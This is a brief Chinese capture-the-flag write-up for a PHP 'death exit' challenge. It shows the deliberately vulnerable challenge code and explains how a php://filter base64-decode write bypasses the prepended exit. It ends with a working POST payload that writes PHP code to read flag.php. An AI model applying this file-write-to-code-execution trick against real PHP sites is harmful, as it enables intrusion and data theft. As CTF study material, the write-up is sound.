CTF – PHP死亡退出

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

代码分析

  • $c.=$_POST['c'];.=相当于+=
  • file_put_contents($filename, $c);$filename中写入$c
  • 根据题目提示,flag在flag.php中

解题思路

Google到一篇php://filter绕过<?php exit; ?>的文章,要点如下:

  • 利用php://filter流的base64_decode函数特性去除死亡exit
  • base64编码中只包含64个可打印字符,在解码的时候,遇到这64个之外的字符,就会略过
  • <?php exit; ?>这条代码base64解码时,会解码为phpexit
  • base64解码是四个byte一组,所以再增加一个字符,凑够两组,后面的就会正常解码

选择拼接代码 file_get_contents() 将整个文件读入一个字符串

<?php file_get_contents("flag.php") ?>

base64加密

PD9waHAgZmlsZV9nZXRfY29udGVudHMoImZsYWcucGhwIikgPz4=

构建POST Payload

file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgZmlsZV9nZXRfY29udGVudHMoImZsYWcucGhwIikgPz4=

最后在审查元素中找到flag